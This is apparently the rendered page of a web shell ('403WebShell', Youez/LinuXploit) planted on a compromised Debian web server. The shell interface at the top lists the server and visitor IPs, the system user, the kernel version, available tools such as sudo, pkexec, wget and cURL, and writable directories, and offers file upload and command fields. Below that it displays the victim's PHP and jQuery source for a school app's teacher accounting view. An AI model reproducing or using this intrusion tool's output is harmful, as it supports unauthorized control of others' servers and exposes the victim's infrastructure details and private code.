Uname:Linux EDL-STRETCH 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64

403WebShell
403Webshell
Server IP : 188.114.97.2  /  Your IP : 104.23.197.230
Web Server : Apache/2.4.59 (Debian)
System : Linux EDL-STRETCH 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
User : edlftp ( 1002)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/git/sms.edl.codes.solutions/application/views/backend/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/git/sms.edl.codes.solutions/application/views/backend/admin/accounting_teacher.php
<?php
/*********************
 *********************
Template : "accounting_teacher.php"
Controller : "accounting_teacher.php"

 Creation 10/10/2019
 Aernout Guillaume
 http://codes.solutions
 *********************
 *********************/
 ?>
 <hr />
 <div class="row">
  <div class="col-md-12">

  <!------CONTROL TABS START------>
    <ul class="nav nav-tabs bordered">
      <li id="tabWallet" class="active" onclick="refresh_data()"><!--window.location.reload(true)-->
              <a href="#wallet" data-toggle="tab"><i class="entypo-credit-card"></i>
                <?php echo get_phrase('teacher_overview');?>
              </a>
      </li>
      <li id="tabTransfer" ><!--window.location.reload(true)-->
              <a href="#transfer" data-toggle="tab"><i class="entypo-shuffle"></i>
                <?php echo get_phrase('teacher_transfers');?>
              </a>
      </li>
    </ul>
  <!------CONTROL TABS END------>
  <div class="tab-content">
   <br>
   <!----TABLE WALLET STARTS-->
   <?php include 'accounting_teacher/list.php'; ?>
   <!----TABLE WALLET ENDS--->
   <!----TABLE TRANSFER STARTS-->
   <?php include 'accounting_teacher/transfer.php'; ?>
   <!----TABLE TRANSFER ENDS--->
 </div>
<!-- assets-->
<script type="text/javascript" src="/assets/js/csajax/backend/accounting_teacher.js"></script>
 <!-- Initialize the script -->
 <script>
 jQuery(document).ready(function($)
 {
   //init table
   $( ".datepicker" ).datepicker({ dateFormat: 'dd-MM-yyyy' });
   var table = $("#table_export").DataTable();
   //listener


   $("#month-btn").click(function(){
     var date = new Date();
     var firstDay = new Date(date.getFullYear(), date.getMonth(), 1);
     var lastDay = new Date(date.getFullYear(), date.getMonth() + 1, 0);
     $('#table_export').DataTable().clear().draw();
     refresh_data(getFormattedDate(firstDay),getFormattedDate(lastDay));

     $('.btn-info').addClass('btn-default');
     $('.btn-info').removeClass('btn-info');
      $("#month-btn").addClass('btn-info');
   });
   $("#month-1-btn").click(function(){
     var date = new Date();
     var firstDay = new Date(date.getFullYear(), date.getMonth() -1, 1);
     var lastDay = new Date(date.getFullYear(), date.getMonth(), 0);
     console.log("first:"+firstDay+"last:"+lastDay);
     $('#table_export').DataTable().clear().draw();
     refresh_data(getFormattedDate(firstDay),getFormattedDate(lastDay));

     $('.btn-info').addClass('btn-default');
     $('.btn-info').removeClass('btn-info');
      $("#month-1-btn").addClass('btn-info');
   });
   $("#month-2-btn").click(function(){
     var date = new Date();
     var firstDay = new Date(date.getFullYear(), date.getMonth() -2, 1);
     var lastDay = new Date(date.getFullYear(), date.getMonth()-1, 0);
     console.log("first:"+firstDay+"last:"+lastDay);
     $('#table_export').DataTable().clear().draw();
     refresh_data(getFormattedDate(firstDay),getFormattedDate(lastDay));

     $('.btn-info').addClass('btn-default');
     $('.btn-info').removeClass('btn-info');
      $("#month-2-btn").addClass('btn-info');
   });
   $("#year-btn").click(function(){
     var date = new Date();
     var firstDay = new Date(date.getFullYear(),0,0);
     var lastDay = new Date(date.getFullYear()+1,0, 0);
     $('#table_export').DataTable().clear().draw();
     refresh_data(getFormattedDate(firstDay),getFormattedDate(lastDay));
     //console.log(">>"+firstDay+">>"+lastDay);
     $('.btn-info').addClass('btn-default');
     $('.btn-info').removeClass('btn-info');
      $("#year-btn").addClass('btn-info');
   });
   $('#reset').click(function(){
      $('#table_export').DataTable().clear().draw();
   });
   $("#transfer_teacher").change(function(){
     get_transfer_suggest($("#transfer_teacher").val());
    
   });

   $("#start").change(function(){
     if(check_date()){
       var firstDay = new Date($("#start").val());
       var lastDay = new Date($("#end").val());

       $('#table_export').DataTable().clear().draw();
       refresh_data(getFormattedDate(firstDay),getFormattedDate(lastDay));
         console.log(">>"+getFormattedDate(firstDay)+">>"+getFormattedDate(lastDay));
       $('.btn-info').addClass('btn-default');
       $('.btn-info').removeClass('btn-info');
     }
   });

   $("#end").change(function(){
     if(check_date()){
       var firstDay = new Date($("#start").val());
       var lastDay = new Date($("#end").val());
       $('#table_export').DataTable().clear().draw();
       refresh_data(getFormattedDate(firstDay),getFormattedDate(lastDay));
       console.log(">>"+getFormattedDate(firstDay)+">>"+getFormattedDate(lastDay));
       $('.btn-info').addClass('btn-default');
       $('.btn-info').removeClass('btn-info');
     }
   });
 });
 </script>

Youez - 2016 - github.com/yon3zu
LinuXploit